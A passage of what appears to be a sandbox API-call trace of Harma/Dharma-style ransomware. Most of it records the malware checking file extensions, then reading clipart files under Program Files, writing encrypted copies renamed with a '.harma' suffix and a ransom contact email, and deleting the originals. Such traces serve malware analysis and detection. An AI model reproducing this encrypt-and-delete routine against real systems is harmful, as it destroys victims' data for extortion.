lpString2="6.WMF") returned -1 [0169.648] lstrlenW (lpString=".ppt") returned 4 [0169.648] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF") returned 63 [0169.648] lstrlenW (lpString=".zip") returned 4 [0169.648] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.648] lstrlenW (lpString=".rar") returned 4 [0169.648] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.648] lstrlenW (lpString=".bz2") returned 4 [0169.648] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.648] lstrlenW (lpString=".7z") returned 3 [0169.648] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF") returned 63 [0169.648] lstrlenW (lpString=".dbf") returned 4 [0169.648] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF") returned 63 [0169.648] lstrlenW (lpString=".1cd") returned 4 [0169.648] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF") returned 63 [0169.648] lstrlenW (lpString=".jpg") returned 4 [0169.648] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.649] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0169.649] lstrlenW (lpString="J0106222.WMF") returned 12 [0169.649] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106222.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0169.654] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=19600) returned 1 [0169.654] CloseHandle (hObject=0x3ac) returned 1 [0169.654] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106222.wmf")) returned 0x20 [0169.659] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106222.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0169.660] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106222.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0169.660] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0169.660] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0169.660] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106222.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0169.661] GetLastError () returned 0x0 [0169.661] ReadFile (in: hFile=0x21c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x4c90, lpOverlapped=0x0) returned 1 [0169.711] WriteFile (in: hFile=0x20c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x4ca0, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0x4ca0, lpOverlapped=0x0) returned 1 [0169.713] ReadFile (in: hFile=0x21c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0169.713] WriteFile (in: hFile=0x20c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0169.713] SetEndOfFile (hFile=0x20c) returned 1 [0169.721] CloseHandle (hObject=0x20c) returned 1 [0169.721] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0169.721] SetEndOfFile (hFile=0x21c) returned 1 [0169.724] CloseHandle (hObject=0x21c) returned 1 [0169.724] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0169.725] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106222.wmf")) returned 1 [0169.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF") returned 63 [0169.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF") returned 63 [0169.725] lstrlenW (lpString=".doc") returned 4 [0169.725] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.725] lstrlenW (lpString=".docx") returned 5 [0169.725] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0169.725] lstrlenW (lpString=".pdf") returned 4 [0169.725] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.725] lstrlenW (lpString=".xls") returned 4 [0169.726] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.726] lstrlenW (lpString=".xlsx") returned 5 [0169.726] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0169.726] lstrlenW (lpString=".ppt") returned 4 [0169.726] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF") returned 63 [0169.726] lstrlenW (lpString=".zip") returned 4 [0169.726] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.726] lstrlenW (lpString=".rar") returned 4 [0169.726] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.726] lstrlenW (lpString=".bz2") returned 4 [0169.726] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.726] lstrlenW (lpString=".7z") returned 3 [0169.726] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF") returned 63 [0169.726] lstrlenW (lpString=".dbf") returned 4 [0169.726] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF") returned 63 [0169.726] lstrlenW (lpString=".1cd") returned 4 [0169.726] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF") returned 63 [0169.726] lstrlenW (lpString=".jpg") returned 4 [0169.726] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF") returned 63 [0169.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF") returned 63 [0169.727] lstrlenW (lpString=".doc") returned 4 [0169.727] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.727] lstrlenW (lpString=".docx") returned 5 [0169.727] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0169.727] lstrlenW (lpString=".pdf") returned 4 [0169.727] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.727] lstrlenW (lpString=".xls") returned 4 [0169.727] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.727] lstrlenW (lpString=".xlsx") returned 5 [0169.727] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0169.727] lstrlenW (lpString=".ppt") returned 4 [0169.727] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF") returned 63 [0169.727] lstrlenW (lpString=".zip") returned 4 [0169.727] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.727] lstrlenW (lpString=".rar") returned 4 [0169.727] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.727] lstrlenW (lpString=".bz2") returned 4 [0169.727] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.727] lstrlenW (lpString=".7z") returned 3 [0169.727] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF") returned 63 [0169.727] lstrlenW (lpString=".dbf") returned 4 [0169.727] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF") returned 63 [0169.727] lstrlenW (lpString=".1cd") returned 4 [0169.728] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF") returned 63 [0169.728] lstrlenW (lpString=".jpg") returned 4 [0169.728] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.728] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0169.728] lstrlenW (lpString="J0107024.WMF") returned 12 [0169.728] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107024.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0169.731] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=3020) returned 1 [0169.732] CloseHandle (hObject=0x21c) returned 1 [0169.732] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107024.wmf")) returned 0x20 [0169.732] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107024.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0169.732] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107024.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0169.732] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0169.732] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0169.733] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107024.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0169.734] GetLastError () returned 0x0 [0169.734] ReadFile (in: hFile=0x21c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0xbcc, lpOverlapped=0x0) returned 1 [0169.748] WriteFile (in: hFile=0x20c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xbd0, lpOverlapped=0x0) returned 1 [0169.749] ReadFile (in: hFile=0x21c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0169.749] WriteFile (in: hFile=0x20c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0169.749] SetEndOfFile (hFile=0x20c) returned 1 [0169.749] CloseHandle (hObject=0x20c) returned 1 [0169.749] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0169.750] SetEndOfFile (hFile=0x21c) returned 1 [0169.752] CloseHandle (hObject=0x21c) returned 1 [0169.752] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0169.752] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107024.wmf")) returned 1 [0169.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF") returned 63 [0169.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF") returned 63 [0169.753] lstrlenW (lpString=".doc") returned 4 [0169.753] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.753] lstrlenW (lpString=".docx") returned 5 [0169.753] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0169.753] lstrlenW (lpString=".pdf") returned 4 [0169.753] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.753] lstrlenW (lpString=".xls") returned 4 [0169.753] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.753] lstrlenW (lpString=".xlsx") returned 5 [0169.753] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0169.753] lstrlenW (lpString=".ppt") returned 4 [0169.753] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF") returned 63 [0169.753] lstrlenW (lpString=".zip") returned 4 [0169.753] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.753] lstrlenW (lpString=".rar") returned 4 [0169.753] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.753] lstrlenW (lpString=".bz2") returned 4 [0169.753] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.753] lstrlenW (lpString=".7z") returned 3 [0169.753] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF") returned 63 [0169.753] lstrlenW (lpString=".dbf") returned 4 [0169.754] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF") returned 63 [0169.754] lstrlenW (lpString=".1cd") returned 4 [0169.754] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF") returned 63 [0169.754] lstrlenW (lpString=".jpg") returned 4 [0169.754] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF") returned 63 [0169.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF") returned 63 [0169.754] lstrlenW (lpString=".doc") returned 4 [0169.754] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.754] lstrlenW (lpString=".docx") returned 5 [0169.754] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0169.754] lstrlenW (lpString=".pdf") returned 4 [0169.754] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.754] lstrlenW (lpString=".xls") returned 4 [0169.754] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.754] lstrlenW (lpString=".xlsx") returned 5 [0169.754] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0169.754] lstrlenW (lpString=".ppt") returned 4 [0169.754] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF") returned 63 [0169.754] lstrlenW (lpString=".zip") returned 4 [0169.754] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.754] lstrlenW (lpString=".rar") returned 4 [0169.754] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.754] lstrlenW (lpString=".bz2") returned 4 [0169.754] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.755] lstrlenW (lpString=".7z") returned 3 [0169.755] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF") returned 63 [0169.755] lstrlenW (lpString=".dbf") returned 4 [0169.755] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF") returned 63 [0169.755] lstrlenW (lpString=".1cd") returned 4 [0169.755] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF") returned 63 [0169.755] lstrlenW (lpString=".jpg") returned 4 [0169.755] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.755] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0169.755] lstrlenW (lpString="J0107042.WMF") returned 12 [0169.755] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107042.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0170.030] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=9048) returned 1 [0170.030] CloseHandle (hObject=0x3a4) returned 1 [0170.030] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107042.wmf")) returned 0x20 [0170.030] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107042.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0170.030] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107042.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0170.031] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0170.031] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0170.031] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107042.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0170.032] GetLastError () returned 0x0 [0170.032] ReadFile (in: hFile=0x3a4, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x2358, lpOverlapped=0x0) returned 1 [0170.149] WriteFile (in: hFile=0x218, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x2360, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0x2360, lpOverlapped=0x0) returned 1 [0170.150] ReadFile (in: hFile=0x3a4, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0170.150] WriteFile (in: hFile=0x218, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0170.151] SetEndOfFile (hFile=0x218) returned 1 [0170.151] CloseHandle (hObject=0x218) returned 1 [0170.151] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0170.151] SetEndOfFile (hFile=0x3a4) returned 1 [0170.154] CloseHandle (hObject=0x3a4) returned 1 [0170.154] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0170.275] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107042.wmf")) returned 1 [0170.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF") returned 63 [0170.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF") returned 63 [0170.276] lstrlenW (lpString=".doc") returned 4 [0170.276] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.276] lstrlenW (lpString=".docx") returned 5 [0170.276] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0170.277] lstrlenW (lpString=".pdf") returned 4 [0170.277] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.277] lstrlenW (lpString=".xls") returned 4 [0170.277] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.277] lstrlenW (lpString=".xlsx") returned 5 [0170.277] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0170.277] lstrlenW (lpString=".ppt") returned 4 [0170.277] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF") returned 63 [0170.277] lstrlenW (lpString=".zip") returned 4 [0170.277] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.277] lstrlenW (lpString=".rar") returned 4 [0170.277] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.277] lstrlenW (lpString=".bz2") returned 4 [0170.277] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.277] lstrlenW (lpString=".7z") returned 3 [0170.278] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF") returned 63 [0170.278] lstrlenW (lpString=".dbf") returned 4 [0170.278] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF") returned 63 [0170.278] lstrlenW (lpString=".1cd") returned 4 [0170.278] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF") returned 63 [0170.278] lstrlenW (lpString=".jpg") returned 4 [0170.278] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF") returned 63 [0170.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF") returned 63 [0170.278] lstrlenW (lpString=".doc") returned 4 [0170.278] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.279] lstrlenW (lpString=".docx") returned 5 [0170.279] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0170.279] lstrlenW (lpString=".pdf") returned 4 [0170.279] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.279] lstrlenW (lpString=".xls") returned 4 [0170.279] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.279] lstrlenW (lpString=".xlsx") returned 5 [0170.279] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0170.279] lstrlenW (lpString=".ppt") returned 4 [0170.279] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF") returned 63 [0170.279] lstrlenW (lpString=".zip") returned 4 [0170.279] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.279] lstrlenW (lpString=".rar") returned 4 [0170.279] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.279] lstrlenW (lpString=".bz2") returned 4 [0170.279] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.279] lstrlenW (lpString=".7z") returned 3 [0170.280] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF") returned 63 [0170.280] lstrlenW 